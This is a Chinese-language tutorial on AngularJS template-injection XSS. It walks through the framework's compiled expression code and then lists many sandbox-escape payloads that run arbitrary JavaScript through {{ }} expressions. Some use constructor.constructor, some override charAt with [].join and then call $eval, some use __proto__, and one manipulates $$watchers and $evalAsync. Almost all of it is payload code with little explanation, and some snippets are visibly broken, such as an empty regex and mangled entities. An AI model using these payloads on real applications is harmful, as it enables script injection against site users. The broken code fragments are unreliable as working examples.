AngularJs用户输入动态模板XSS攻击示例详解

{{1 + 1}} 

"use strict";
var fn = function(s, l, a, i) {
 return plus(1, 1);
};
return fn;

"use strict";
var fn = function(s, l, a, i) {
 var v0, v1, v2, v3, v4 = l && ('constructor' in l),
 v5;
 if (!(v4)) {
 if (s) {
 v3 = s.constructor;
 }
 } else {
 v3 = l.constructor;
 }
 ensureSafeObject(v3, text);
 if (v3 != null) {
 v2 = ensureSafeObject(v3.constructor, text);
 } else {
 v2 = undefined;
 }
 if (v2 != null) {
 ensureSafeFunction(v2, text);
 v5 = 'alert\u00281\u0029';
 ensureSafeObject(v3, text);
 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
 } else {
 v1 = undefined;
 }
 if (v1 != null) {
 ensureSafeFunction(v1, text);
 v0 = ensureSafeObject(v1(), text);
 } else {
 v0 = undefined;
 }
 return v0;
};
return fn;

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe Onload=alert(/Backdoored/)\u003e';

Onload=function(){
document.write(String.fromCharCode(97));//会弹出 /Backdoored/ 
} 

'a'.constructor.prototype.charCodeAt=[].concat

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities   
out('"');
}

function encodeEntities(value) {
return value.
 replace(/&/g, '&').
 replace(SURROGATE_PAIR_REGEXP, function(value) {
 var hi = value.charCodeAt(0);
 var low = value.charCodeAt(1);
 return '&＃' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
 }).
 replace(NON_ALPHANUMERIC_REGEXP, function(value) {
 return '&＃' + value.charCodeAt(0) + ';';//这里发生了不好事情，我改写了这个方法，可以植入一些恶意代码，并且得到返回输出  }).
replace(//g, '>');
} 

//这是输入代码 
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=""')+''
}}

//这是被覆盖影响的代码  
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 if (!(v6)) {
  if (s) {
   v5 = s.x = "";//被影响的
  }
 } else {
  v5 = l.x = "";//被影响的
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 v3 = v4 &＃63; l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = "";//被影响的
  }
 } else {
  v2 = l.x = "";//被影响的
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = "", text);//被影响的
  v0 = v3.x = "" = v1;//被影响的
 }
 return v0;
};
return fn;

{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=alert(1)')+'' //注入了alert(1) 
}}

"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
 if (!(v6)) {
  if (s) {
   v5 = s.x = alert(1);
  }
 } else {
  v5 = l.x = alert(1);
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
 v3 = v4 &＃63; l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = alert(1);
  }
 } else {
  v2 = l.x = alert(1);
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = alert(1), text);
  v0 = v3.x = alert(1) = v1;
 }
 return v0;
};
return fn;

{{constructor.constructor('alert(1)')()}} 

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} 

{{!ready && (ready = true) && (
!call
&＃63; $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}} 

{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

{{
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
 c.$apply=$apply;c.$eval=b;op=$root.$$phase;
 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
 B=C(b,c,b);$evalAsync("
 astNode=pop();astNode.type='UnaryExpression';
 astNode.operator='(window.X&＃63;void0:(window.X=true,alert(1)))+';
 astNode.argument={type:'Identifier',name:'foo'};
 ");
 m1=B($$asyncQueue.pop().expression,null,$root);
 m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
 $eval('a(b.c)');[].push.apply=a;
}}

{{constructor.constructor('alert(1)')()}}